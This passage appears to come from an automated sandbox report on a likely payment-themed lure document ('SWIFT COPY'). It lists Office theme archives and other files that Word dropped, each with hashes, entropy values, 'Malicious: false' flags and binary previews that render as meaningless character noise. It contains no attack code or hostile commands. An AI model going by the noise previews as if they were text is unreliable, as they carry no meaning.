Preview:	MSCF.....F......D................g...........F...?..........\|..................L.. .content.inf.zG.........L.. .Parcel.thmx.>2...R..[...0...........7....B+...BH....{...^.../.....B{...1....+".....<.....$........{.......sD"..j...}... P..w..U..f...6.x8. ...C..F.q.7....T.6p......B.P..L..g......A..43.W`.....{{...u.4...:.bb.4"X..m..)$..@(H. H.tBPTF..,.&.B.'...6..2...n..c%...Z@.(.@.......(.<i.i....P......?......o.......F.M.L......i.....C..7..../.....MQ.0..l.U.s.Fu.......1...p.;.(.}..ogd..<.._.Z......._.......O.J......97...~<...4.c....i..........'k.5.......Q.$..C..E... ..5.7....N.a.[ns6hi..kM....?....X......9q...!O\....0....n.^s.9.6..............;. ..r...rf..C6z..v #.H...O...v/.sl....J.m%.L.Dp.e....uO..g.y....f...].5.........W.....h^[..w.\|.=.ru.\|.M..+.-.B...D.Ma....o.<X SnI....l...{..G..,..y5\W.@..y.;.y ...M..l.....e..A...d.e!.E..3.......k1.......6gY).../....pQ..?..s.W.)+R.S5..../.0..vz.^.......k.....v..9..A.NG...N~#..$.B...s,(.o.@.ar.!.J.....

C:\Users\user\AppData\Local\Temp\cabDD8C.tmp

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 624532 bytes, 2 files, at 0x44 +A "content.inf" +A "Quotable.thmx", flags 0x4, ID 13510, number 1, extra bytes 20 in head, 30 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	640684
Entropy (8bit):	7.99860205353102
Encrypted:	true
SSDEEP:	12288:eV7ivfl+kbkIrWu+2aoRjwv/cSUWauGPo2v65s4QqcT3ZCCz6CSj8aC:fdhr1+3y4MWaC2CO4V+3ZCCDsO
MD5:	F93364EEC6C4FFA5768DE545A2C34F07
SHA1:	166398552F6B7F4509732E148F93E207DD60420B
SHA-256:	296B915148B29751E68687AE37D3FAFD9FFDDF458C48EB059A964D8F2291E899
SHA-512:	4F0965B4C5F543B857D9A44C7A125DDD3E8B74837A0FDD80C1FDC841BF22FC4CE4ADB83ACA8AA65A64F8AE6D764FA7B45B58556F44CFCE92BFAC43762A3BC5F4
Malicious:	false
Preview:	MSCF............D................4...............?..........~..................M. .content.inf."..........M. .Quotable.thmx..^.u.n..[...............&...U..F.......UU.M.T5.UUQS..j..#>43fD.....`....Vr......19'...P..j.-...6n.0c....4$.c....$.4.k3aQ$.lCN.#.[.."qc....,Z...,Qt@!.@...... ...H.......9.9.y.{....[.`..s3.5.....B....W.g.d...[uv.UW..............P.8.(.?......3.....'/F...0...8.P. .O..B....K...g..L.......#s...%..\|4.i....?.3b.".....g...?.........2.O23..'..O~.+..{...C.n.L......3......Y.L...?K...o......g....@.]...T..sU.....<.._.<G.......Tu.U2..v.&..<..^..e.].cY;..9.%..}...I.y.;...WM...3>.:.=.\|.-.AtT2OJ.I.#...#.y....A....\]$r...lM.%5.."...+7M..J.....c...".&$.... Y.r.B;..81B. +H...b....@7K..F.Z...v..=..ES.f.~.."...f..ho.X.E.a`~...C>.&..@\.[....(.....h..]...9&...sd.H .1.x.2..t.rj..o..A..^qF.S9.5.....E.{...C\|.w.c/V...0Q.M...........O.7;A4u...R..Z.B.7a.C`....p.z.....f!\|.u.3t....2e.wWH..'7p....E_...e.._;..k....&E.^.f=V..{..al.y:.4a...+.g...-..>e

C:\Users\user\AppData\Local\Temp\cabDE0A.tmp

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 682092 bytes, 2 files, at 0x44 +A "Berlin.thmx" +A "content.inf", flags 0x4, ID 46672, number 1, extra bytes 20 in head, 30 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	698244
Entropy (8bit):	7.997838239368002
Encrypted:	true
SSDEEP:	12288:bUfKzAwwP7XAMWtr4FvMRt4lX0hnBdThiSb32+TdysrQgn7v4EemC6:sr7AMkJ34xu1bm4ZrQaY6
MD5:	E29CE2663A56A1444EAA3732FFB82940
SHA1:	767A14B51BE74D443B5A3FEFF4D870C61CB76501
SHA-256:	3732EB6166945DB2BF792DA04199B5C4A0FB3C96621ECBFDEAF2EA1699BA88EE
SHA-512:	6BC420F3A69E03D01A955570DC0656C83C9E842C99CF7B429122E612E1E54875C61063843D8A24DB7EC2035626F02DDABF6D84FC3902184C1EFF3583DBB4D3D8
Malicious:	false
Preview:	MSCF....lh......D...............P...........lh...?..........\|..................M. .Berlin.thmx............M. .content.inf..lH.lj..[...............7.I..)........P..5x.B/^y5.xk^^......D.F........s....y...?D..........&....".o..pl..Q.jm?_...6......=%.p.{.)S..y...$......,4..>#.........)..."-....K....4.E...L=.......4..p.c..nQ.0..ZO.#.....e.N..`U......oS....V..X[t.E)\|.h..R....$..}.{.F.7....^.....w.,...5rBR.....{.......mi...h.b......w+..;.hV......q..(.7&.Z.l...C."j........[-E4h.....v&..~.p$\|\X...8.....Fj'%,.)6w...u\|C..,y..E..`Up../(....2.(....Z.....,.'...d..s..Z....5.g.?Nq..04...f...D.x....q+.b.."v`{.NL....C..... ..n......1N+.I.{W9....2r.0...BaC.....O..=...k..."..8.D\jK.B...Aj....6,B..2...I.. B..^.4..1.K+.....DP...Mr....9..x[...>........?.Zd..'._2.._..>..'.F..#.w...2..~.\|........q_Wy.W.....~..Qex.km/..f......t.q..p..gm.\|.x.... ,.#\Z....p....a.}...%..v.J.Es......I.b.P?...0......F.x....E..j..6.%..E..-O.k...b .^.h.Cv...Z....D.n.d:.d.F..x...[1...B..

C:\Users\user\AppData\Local\Temp\cabDECA.tmp

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 1049713 bytes, 2 files, at 0x44 +A "content.inf" +A "Savon.thmx", flags 0x4, ID 60609, number 1, extra bytes 20 in head, 37 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	1065873
Entropy (8bit):	7.998277814657051
Encrypted:	true
SSDEEP:	24576:qehtHA3nsAOx7yN7THwxdGpkw8R60aTcua5U4c:hhmnsBMNAxdGpV5za5Uv
MD5:	E1101CCA6E3FEDB28B57AF4C41B50D37
SHA1:	990421B1D858B756E6695B004B26CDCCAE478C23
SHA-256:	69B2675E47917A9469F771D0C634BD62B2DFA0F5D4AF3FD7AFE9196BF889C19E
SHA-512:	B1EDEA65B6D0705A298BFF85FC894A11C1F86B43FAC3C2149D0BD4A13EDCD744AF337957CBC21A33AB7A948C11EA9F389F3A896B6B1423A504E7028C71300C44
Malicious:	false
Preview:	MSCF....q.......D...........................q... ?..........{...%..............M. .content.inf.Q_.........M. .Savon.thmx...O>.o..[..............&.5....UUcC.C....A...`TU...F....".54.E.....g.-.7-D....1g...p.6......@..w(....h'?.....(..........p..J.2n$4.........A......?...........@.C.W.R.5X..:....I..?....r.y..~!.....!.A.a...!........O.........5.x<C...?.?....C.C.......'....F../....../.$................4.7...................P...(.w.}6.........7.....01.1r........._..?.............'.._..JOx.CFA<.........0..2.?...>F.../...;..6-8..4...8&yb....".1%..v'..N...x......}.gYb..~L.....f[..!......Y.G.....p..r...?.p...F.Vy.....o.Whll...+...M.V...:.]...B.%.H....n..@.].zaVxf...y{.@....V.t.W....$Kp-.....7W.J..h..0A3mK.=.ub..R...W......*'T2..G#G,.^..T..XZu...U. ...76.d..#.I.JB.v...d...%.....6..O.K.[.:.L.\.....1.D..2a.>f......X...b5...ZgN.u.f...a!..."...sx....>..?.a.3.8.^._q..JS1.E..9..Lg.n.+....lE.f:j.9)Q..H1=..<.R.......{c>:.p[..S.9h.a.gL.U....8.z..z.!.....2I.~.b..2..c...

C:\Users\user\AppData\Local\Temp\cabDF78.tmp

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 937309 bytes, 2 files, at 0x44 +A "content.inf" +A "Gallery.thmx", flags 0x4, ID 44349, number 1, extra bytes 20 in head, 34 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	953453
Entropy (8bit):	7.99899040756787
Encrypted:	true
SSDEEP:	24576:9B1Onw3vg7aeYPagzbJ5Vhv6LnV2Dhl7GEYqVjcyd:vww3o7BYPJbJ5Vh6UCqZfd
MD5:	D4EAC009E9E7B64B8B001AE82B8102FA
SHA1:	D8D166494D5813DB20EA1231DA4B1F8A9B312119
SHA-256:	8B0631DA4DC79E036251379A0A68C3BA977F14BCC797BA0EB9692F8BB90DDB4D
SHA-512:	561653F9920661027D006E7DEF7FB27DE23B934E4860E0DF78C97D183B7CEBD9DCE0D395E2018EEF1C02FC6818A179A661E18A2C26C4180AFEE5EF4F9C9C6035
Malicious:	false
Preview:	MSCF....]M......D...............=...........]M...?..........}..."..............Li. .content.inf............Li. .Gallery.thmx.].(.Vq..[.....0Y..........v.....w.wwwww.wwwwww.w.....".83....y8..mg...o..U..N(..@uD.:O<........{.G....~~.....c.c.5..6./\|G .@#1O.B.............PT@...b.d.~..U....B.{.........0.H.....`.H.`..'S.......Ic..W..x...z....... .........g......._....o......S......p...$....._........._...K......x..?.6.U~...'./.r.................../.......5.8..2........2b.@j ....0.........``....H... ,5...........X........\|..Y.QoiW..\|.......x.sO8...Yb....7...m..b.f.hv..b......=...:Ar.-...[..A\.D..g..u....].9..M...'.R-`.....<..+.....]...1.^..I.z..W{.._....L.. ...4;..6O.....9,.-.Vt+b/$7..}.O05.Y...-..S.....$.....1."Z.r;.!..E.mMN..s .U...P%.[.P...cU...j...h.d.../.s..N/..:..X...p5.7\}h.Q ..._.F.X.C..z$.nV..+.k..\|.@.L...&.........^#.G.a..x..w!wx.8e+..E. i..$?9..8...:......\|..[."..y..&y..?...W....s..._...3Z0c.....i.q.........1c.jI....W..^%xH.._...n.......&J..

C:\Users\user\AppData\Local\Temp\cabDF98.tmp

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 1081343 bytes, 2 files, at 0x44 +A "Circuit.thmx" +A "content.inf", flags 0x4, ID 11309, number 1, extra bytes 20 in head, 45 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	1097591
Entropy (8bit):	7.99825462915052
Encrypted:	true
SSDEEP:	24576:UE9BMy98gA4cDWHkSrDans3MfEE6w8OaVuCibol0j41dwD:UE9Bdy3D4keQWt7w85VuVoaj4/Q
MD5:	BF95E967E7D1CEC8EFE426BC0127D3DE
SHA1:	BA44C5500A36D748A9A60A23DB47116D37FD61BC
SHA-256:	4C3B008E0EB10A722D8FEDB325BFB97EDAA609B1E901295F224DD4CB4DF5FC26
SHA-512:	0697E394ABAC429B00C3A4F8DB9F509E5D45FF91F3C2AF2C2A330D465825F058778C06B129865B6107A0731762AD73777389BB0E319B53E6B28C363232FA2CE8
Malicious:	false
Preview:	MSCF............D...............-,..............x?..........}...-...RU.........M. .Circuit.thmx.....RU.....M. .content.inf.g...&\|..[......=..R.....=.,.!QA?h..Q.!....Uk!.HJ.......VKuk.....q.w.w.U.....;...K.@.URA..0..B..\|rv.ND(.`{..@.1.}...s?.....-...O.(V.w..1..a.....aW...a.Z..aX....5.I...!..........(. ./.d...me.( ..f.........w.......Xp.s....c..vB.98.....C.J......V ..ML.M...B.n.>...\|....u!.5@t..q4....(K...u qL.S....>/%v%.2..TF.].e..'..-..L.N..c].a..(WU\o.%^..;...\|o.6..L..[..;&....^p.Lu.sr,-.R=.:.8.>VOB...:.?$.h.o....Zh.h....`.B.c.../K......b^...;2..bY.[.V.Q8....@..V7....I0c.cQN7..I.p..}..!..M....1K....+....9.2......a..W.V..........;.J .i......]%O.-......CeQ.0.c....MbP3.0.w..8w..Y...\|...H;#.J.+M......>.`y..aWk\|.i.BF.pJv;.....S..6....F.....RLG~..........J.=......"..........H.....h..o...u........M.6F?.F.p.B.>./*l....J.R..#P.....K......<iu..gm^..n...#c..zO"7M.O......4'>A..(.E.Cy.N.)....6.tx.r[.....7.......m.t..E?.....5.5.6.\..{.V.T.D.j..=~a^.I

C:\Users\user\AppData\Local\Temp\cabE008.tmp

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 1291243 bytes, 2 files, at 0x44 +A "content.inf" +A "Droplet.thmx", flags 0x4, ID 47417, number 1, extra bytes 20 in head, 54 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	1310275
Entropy (8bit):	7.9985829899274385
Encrypted:	true
SSDEEP:	24576:NN3M9UHpHZE4aubaPubP3M6d71FdtmFAjq+54/79LVzG+VnS:NN3M9UJHZE4abPyU4JtmFCq+q/7JlVS
MD5:	9C9F49A47222C18025CC25575337A965
SHA1:	E42EDB33471D7C1752DCC42C06DD3F9FDA8B25F0
SHA-256:	ADA7EFF0676D9CCE1935D5485F3DDE35C594D343658FB1DA42CB5A48FC3FC16A
SHA-512:	9FDCBAB988CBE97BFD931B727D31BA6B8ECF795D0679A714B9AFBC2C26E7DCF529E7A51289C7A1AE7EF04F4A923C2D7966D5AF7C0BC766DCD0FCA90251576794
Malicious:	false
Preview:	MSCF...........D...............9..............XJ..........}...6..............M.. .content.inf............M.. .Droplet.thmx..m7.>J..[...............2.QQPIj..."o^R.H5^...^(e.W...R..x..^`..m...."..+.....{o.......Q.-....$V.N>...T]..L.... ..N.h..dOY.......S......N.%.d..d....Y.....e..$...<.m...`............@....=.z..n..[...,G..1Fn.qPDH{C<...3.Q...2..r.....E.E.E.ErM"&a..'..W....:...?I..<.I..6o.`.d.?!..!..._.4\.._.E..).._O.S....; ..#..p.H.....c....o\.K..?$U.e.........!...J.v.....gNe._..[....#A.O.n_.....gm:P._.........{@..-g..j.69b.NH.I.$Hk?.6.n...@......'.C.._.U..:,j.-G.....e.#.Sr.t.L......d[.[...s.....rx.3.F[.5o..:....K.x..)M.fb...3IP.&h.Q.VX^%U.......x..l......@6.k.P..zSW.?....F..[L...4..b.l.w."&.....`.j...i.5}".~.-.....{\.:...o.'H\+)....3.Y......\...f:.;....e........4't7..f...w..j...3....N..9`.J...P..?.....=3_.y]...f.<.......JM5.}Q/ .F.a..Z.._yh......V..>m .......a....f....!.hz..\.....F_..'z...,....h.=.......=.o..T....3.e..........$..g.2.

C:\Users\user\AppData\Local\Temp\cabE153.tmp

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 1750009 bytes, 2 files, at 0x44 +A "content.inf" +A "Slate.thmx", flags 0x4, ID 28969, number 1, extra bytes 20 in head, 72 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	1766185
Entropy (8bit):	7.9991290831091115
Encrypted:	true
SSDEEP:	24576:O/gjMj+RP9Q07h9F75a0BXjBccHMVk2Hq2SkGa0QglyZtxmdPP2LcSUtfgfp16Yx:kJ6RP9Q07/X5V7yVF0QgktxAPutUt0zP
MD5:	828F96031F40BF8EBCB5E52AAEEB7E4C
SHA1:	CACC32738A0A66C8FE51A81ED8E27A6F82E69EB2
SHA-256:	640AD075B555D4A2143F909EAFD91F54076F5DDE42A2B11CD897BC564B5D7FF7
SHA-512:	61F6355FF4D984931E79624394CCCA217054AE0F61B9AF1A1EDED5ACCA3D6FEF8940E338C313BE63FC766E6E7161CAFA0C8AE44AD4E0BE26C22FF17E2E6ABAF7
Malicious:	false
Preview:	MSCF............D...............)q..............0?..........{...H..............M.. .content.inf.;.#........M.. .Slate.thmx.p.+..P..[......U..............p..K.!..........K..w..v........=....D$r...B....6 ...X.F0..d..m.s...$$r........m.)6.m3....vXn.l..o...a...V......Ru.:=2M.........T.....4S`EP......\..r,..v...G.P......'._H0]..%_............X.P.,.............H.?.-.H..".......M..&..o....R........<......`...D.H.._.G.Qv..(..U,.9..D...."..T..i.e../.e.."....,S...o.X.....c./..V....Z..o.O..2....{...+... ....0.@J.R.Q.m.....{.....h?u.q.O{...l.d)..Yk`.....#...u.-.m..#CXwrz4..7.>......v.E:.#.oGSKS.TX.Chm.4aQ......avH..{..j+@6[k].....`c..W8..j.v.Zh.]....4......K..#Hzyd..K}.....H\|<H..\(l...+..%Z......~.S:^..d>..1..H%..7N-v.....Wu.*..b^.B.....k0gc.2.{.!...E7.}3.d...{.Ye...&#f6...:2......v..&!..k0d.p.b...,..$.....Y..60...h.N}.r...<[./........{...Es..&.nf.....2.@Fh3.9.G....l.[.C..SD/6.H.K....}..m....M..........gl.P.]..I......5....e.c...V....P...[.=.......O.eq+

C:\Users\user\AppData\Local\Temp\cabE1B2.tmp

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 1865728 bytes, 2 files, at 0x44 +A "content.inf" +A "Damask.thmx", flags 0x4, ID 63852, number 1, extra bytes 20 in head, 68 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	1881952
Entropy (8bit):	7.999066394602922
Encrypted:	true
SSDEEP:	49152:6Wp9u/ZAvKz7ZFCejPiSmYXKIr6kBwBUA:6W6Bn7ZFNiiKo2l
MD5:	53C5F45B22E133B28D4BD3B5A350FDBD
SHA1:	D180CFB1438D27F76E1919DA3E84F307CB83434F
SHA-256:	8AF4C7CAC47D2B9C7ADEADF276EDAE830B4CC5FFE7E765E3C3D7B3FADCB5F273
SHA-512:	46AD3DA58C63CA62FCFC4FAF9A7B5B320F4898A1E84EEF4DE16E0C0843BAFE078982FC9F78C5AC6511740B35382400B5F7AC3AE99BB52E32AD9639437DB481D1
Malicious:	false
Preview:	MSCF.....x......D...............l............x..`?..........\|...D..............M[. .content.inf...!........M[. .Damask.thmx...o.PI..[.............../.TU.jj0..3jCUPU.jF...m.UU.P}.....PU..........w..#....E..].................A.. w.$..@..'g.......6%:..r9..d.M;M+.r.8[d{.s..dh..(P..........!.. ..ne..f.Nc..#..Y..q....KB}..b].@..F.&.t....E.........@&.m......$w......q...:.H....p.p.....?.9x.. .....?...ao....I....................o......g.u..;."....O;....{..(k..._.w/.Z......Jb..P.O?...........?....F....ty..72......! #....v..J......?.....!,.5.7..Em.....is.h.. \.H)i1v..zwp.....P.....x].X{O//..\....Z>z....6...+..a.c...;.K..+...?014..p.w%o^.....]...MguF...`....r.S.......eF..):.dnk#.p{..<..{..Ym...>...H......x.}.hI..M....e......*G.&.?..~.~G6.....+...D..p...._...T....F6.[Cx./Q..Xe.>.;.}>.^..:..SB.X..2.......(A..&j9....\\.......Haf+]Y...$t^Y=........><.w....tL../E...%6.Vr~MI...l.....<.0.I....7.Q8y.f.uu...I.p..O..eYYS.O......9..Qo.......:..........o.............{

C:\Users\user\AppData\Local\Temp\cabE2AE.tmp

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 2573508 bytes, 2 files, at 0x44 +A "content.inf" +A "Mesh.thmx", flags 0x4, ID 62129, number 1, extra bytes 20 in head, 94 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	2591108
Entropy (8bit):	7.999030891647433
Encrypted:	true
SSDEEP:	49152:ZSBBeAefkpB5iXfQJgi7JBaCCRZ3cM2VDHkvSJO6qzI1tE9Rn:EBI6gbCkMPDHKSJO6qsP6n
MD5:	BEB12A0464D096CA33BAEA4352CE800F
SHA1:	F678D650B4A41676BA05C836D462F34BDC5BF648
SHA-256:	A44166F5C9F2553555A43586BA5DB1C1DE54D72D308A48268F27C6A00076B1CA
SHA-512:	B6E7CCD1ECBB9A49FC72E40771725825DAF41DDB2FF8EA4ECCE18B8FA1A59D3B2C474ADD055F30DA58C7E833A6E6555EBB77CCC324B61CA337187B4B41F7008B
Malicious:	false
Preview:	MSCF.....D'.....D............................D'..D..........z...^..............M7. .content.inf............M7. .Mesh.thmx....&~j..[.....0.................]............ww,v.\....D......3m..m!f..0..E{..?..`..A...k.:....I..........\|bmG.FS...f.;.J.vzb.......R.......-....\|.......ESD.....".4M..M..t.N....y..,..#.4.5.2.......'.8.Q..3.D..T....!.......&rJg...s........(..9........Dw..'....9.-..G.c............E.. .O.....a..O.._..s..)7Wz~....bJ..D...o....0..R/.#...?.......~6.Q?....?y...g.?............TP..r-...>....-..!.6...B.....\../...2....4...p$...Oge.G.?.....S.#x(..$.A~.U.%f....dJ..S.f{.g.._..3{.fm2.....Z.\o&.[k.m....ko.8..r.-.Go.OQ..'!6..f.L...Ud.$.q.L.....R.. J.T&4g...7.2K...#k.[.].:....lk.....;c..DRx.`..&L..cpv.>.Ngz~.{..v5.\...'C.<R:.C8.\|.fE{......K...).....T...gz}..rF..Q.dof7.....D.f=cm...U\|.O.]F...5zg(.. ....S..._?D....^..+.i...Z.....+X..U!4qy..._..`I..>./.W.7......=.O....BG..=..%9\|...3.?...}.$"..H..u...0.......a..:t?.....8...Z..#g.=<.e.`\......KQ..U....

C:\Users\user\AppData\Local\Temp\cabE30D.tmp

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 2511552 bytes, 2 files, at 0x44 +A "content.inf" +A "Main_Event.thmx", flags 0x4, ID 59889, number 1, extra bytes 20 in head, 90 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	2527736
Entropy (8bit):	7.992272975565323
Encrypted:	true
SSDEEP:	49152:NFXdpz4d98p/q5jA4q+9Uf5kx6wHR8WfPJZVhWzH4dRze76YP9nJ7yyAInT76nSY:NFXdKx5sM9SmxHKexZVhutJJVpCSqa0Z
MD5:	F256ACA509B4C6C0144D278C7036B0A8
SHA1:	93F6106D0759AFD0061F73B876AA9CAB05AA8EF6
SHA-256:	AD26761D59F1FA9783C2F49184A2E8FE55FCD46CD3C49FFC099C02310649DC67
SHA-512:	08C57661F8CC9B547BBE42B4A5F8072B979E93346679ADE23CA685C0085F7BC14C26707B3D3C02F124359EBB640816E13763C7546FF095C96D2BB090320F3A95
Malicious:	false
Preview:	MSCF.....R&.....D............................R&.8?..............Z..............M). .content.inf..,........M). .Main_Event.thmx......R..[...............=.1.^xa..^...../..^x....QA^"....^/.I.{/F..F..........6Vn. ..._Hmc......<....#.{.@.....Xl../Y....Ye..'V.f.S.Vf.T..0t+..y...5O...{.....-.dT...........!...[ .ns..k.....QAA.. ....B..u.`.....{.\u8.0.....@t........K....@..w.......>...-1F...........1.E....O............_M.m..CP.O......X......g......].../..:C...Q...i.._"...M..1o...S../...9....k;...}S........y..;1o....1h......t.CL.3...].@...T...4.6.}.....M...f...[.s.."f....nZ.W......0.c.{.`.^..Oo.[.JT.2].^.f..a....kO......Q..G..s.5...V.Wj.....e...I,]...SHa..U.N.N.....v.C.....x..J{.Z.t...]WN...77BO-J......g......3:i..2..EFeL.,n..t:..,~4gt.w...M.5.'h.L..#..A&.O.ys%K.Z....F.PW..=jH...jGB.i..j.J.^.#.\n...J@.....-5.f.1jZ68.o...H2.......$O...>..ld&,#$.&_....yl.fkP$.........l....s....i.tx.~<.z...>..2.Gx..B..z.E.3.N<....`$.....b..?.w.[.X..1.=q!.s......v.......r.w

C:\Users\user\AppData\Local\Temp\cabE5C0.tmp

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 3400898 bytes, 2 files, at 0x4c "Insight design set.dotx", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 106 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	3417042
Entropy (8bit):	7.997652455069165
Encrypted:	true
SSDEEP:	98304:1YYkj2mRz6vkkB15AW4QD0ms+FdniD60bDUpS:qYkj7d6vP7NZDLn+PM8
MD5:	749C3615E54C8E6875518CFD84E5A1B2
SHA1:	64D51EB1156E850ECA706B00961C8B101F5AC2FC
SHA-256:	F2D2DF37366F8E49106980377D2448080879027C380D90D5A25DA3BDAD771F8C
SHA-512:	A5F591BA5C31513BD52BBFC5C6CAA79C036C7B50A55C4FDF96C84D311CCDCF1341F1665F1DA436D3744094280F98660481DCA4AA30BCEB3A7FCCB2A62412DC99
Malicious:	false
Preview:	MSCF......3.....L.............................3..?..............j.....3.....t.4.............Insight design set.dotx.................Content.inf...QJ.N..[.........R.....L....N).J\|E.B.$.B).3,...n.....JW....k.U1..M...3#.5....$^.....;vR...Z.nj...#......^......a.{..(..o.v...!L`...T.-&jZ`.\.0.....G.."b.m..F.X......$>%..?.D..H.l.j....$.......MrQ......q-....hx...6.D.3...j....n..U#R..3....sm?..xJr..............$G8..t.g...?.g.}......$P._...7.#..w..9DR....lu....?..'.Ai..v.vl..`......B..N_....W./.;...c=oYW.lL'bv.......+...9.P..B=...Y.SX=EL.5o....?H.e\|.Fn.M[...d.v.....i......9..U..H....uq.Nrn..@..e...3....8.....s8}z..$........B....26...d..?.l....=.aeM.[..\|n....H.;..7A.`....=.F...V.Y.l..8.........%e.x0S.....~..2..%.....U..#.r_.0V.v.6w.l.......Y.........v..o+....sn.$^'.Il...akUU....w....~.....&8.Vwj.....Q.uQ..&..G.($.2.s.?m.B.~j...+G.W..qi..g..5.)){O........o.ow.(;.{...y;n...J...&.F2.@.;......[{'w..........`....czW.........?W...}..w....x..........

C:\Users\user\AppData\Local\Temp\cabE5EF.tmp

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 3239239 bytes, 2 files, at 0x44 +A "content.inf" +A "Vapor_Trail.thmx", flags 0x4, ID 19811, number 1, extra bytes 20 in head, 111 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	3256855
Entropy (8bit):	7.996842935632312
Encrypted:	true
SSDEEP:	98304:wh7I1aeH9YvgK+A+a7GiiQzP4YZDpQ2+Sd6Y:w21ay93aypQzzhpBL/
MD5:	8867BDF5FC754DA9DA6F5BA341334595
SHA1:	5067CCE84C6C682B75C1EF3DEA067A8D58D80FA9
SHA-256:	42323DD1D3E88C3207E16E0C95CA1048F2E4CD66183AD23B90171DA381D37B58
SHA-512:	93421D7FE305D27E7E2FD8521A8B328063CD22FE4DE67CCCF5D3B8F0258EF28027195C53062D179CD2EBA3A7E6F6A34A7A29297D4AF57650AA6DD19D1EF8413D
Malicious:	false
Preview:	MSCF....Gm1.....D...............cM..........Gm1..D..............o... ..........MP. .content.inf...7. ......MP. .Vapor_Trail.thmx..n...N..[......L........7...+I..x...P7/...BH..Rm.\yqi.x..B....{.m.............=.....p.%.@......BpV.[......C.4..X./..Y.'SB..........0.Gr.FG.).....R\...2..Jt..1..._.4_B..................cn7H.-.....Q...1..G{G.~.. '.$......@.(....=@=..`....@.@.A. ....'.4`. .@....D...'....S.s..9.7" /....?.aY.c.........LG....k...?_.....P.....?.1.....FB..m..t...['......:...?...W..../~..z.Tr...X.@...._....3..N..p.....b...t.....^..t...~..t.8A...t_....D..3R.Z.=..{.A.8).3-5..v.isz....0A~%.s.D.4....k.K......8......)R.}f.E..n.g&:W...'E....4%T..>......b.y..[..zI....e...j.s....F.....\|7826U.C.,..BY.U.F.f......"..#.m..,..._...#.\.....gPP.2.}Kas......g..3.d0.Z.Z.]..n......MY]6.....].m..D.6...?.n.20.,.#...S...JK..#.W.%.Z4.....i..CBf...../..z......n.N...U.....8t...ny...=.!..#..SF..e...1.P..@.Qx*.f.;..t..S.>..... F..)...@.Y..5j....x....vI.mM....Z.W..77...

C:\Users\user\AppData\Local\Temp\~DFC8B2898F20CC214B.TMP

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	3072
Entropy (8bit):	2.016524537677822
Encrypted:	false
SSDEEP:	12:rl3b/+PF2QOIsLRNuuHakPcFqJlItQsRZyRguuHakPcFqJlItQsRIU+:rdeu6kzJlItQsOJu6kzJlItQsaU+
MD5:	B03F69C3AD7DEB4C9D67C7FE61F6750A
SHA1:	A88700C46731BA31FFF99C9BBBFC763E2B079428
SHA-256:	2451146EF3D9A6C17F24C74534BEAF6867968E7A126F7A3AB4F743A3C6C7EF5E
SHA-512:	85C4A641114052418DDE11692C35C96AF0E837A85716BC632530EF8BE24A92E238178A229346CA0F56CEE2B3A98C24A3BF6083AF5F7A9A5F01B129C1208A50D2
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Office\MSO3072.acl

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	30
Entropy (8bit):	1.2389205950315936
Encrypted:	false
SSDEEP:	3:M0qlt:Mzl
MD5:	E5B96D6CA2F44239E41F1283680D37CA
SHA1:	9C68E6C8A8523D35EE3704AB3F057D0F1B1CE7FD
SHA-256:	0188F7AF0DF62B7DCEE86F9A3268A7DFF4F85FFA0AFE3259E754D86C86BE9590
SHA-512:	CBDF0771F44B7D0E7FC360CD70DC5290713BD4915AE6386751A3B9FDAF2403997EE7341E90DB95D29D87AA947CE8820647B22A0852149221A6F63C1DB9B741DA
Malicious:	false
Preview:	..............................

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Airbornemx SWIFT COPY _ Wednesday May 2024..LNK

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Feb 7 13:52:00 2024, mtime=Wed May 22 17:01:17 2024, atime=Wed May 22 17:01:15 2024, length=835, window=hide
Category:	dropped
Size (bytes):	681
Entropy (8bit):	4.7380813683737415
Encrypted:	false
SSDEEP:	12:8s/l6ZnFwijlItQsR6jAbHafE0tOqJlItQsRC/KrvcmV:8MlEFvjlItQs8Ab68ctJlItQsk/KrUm
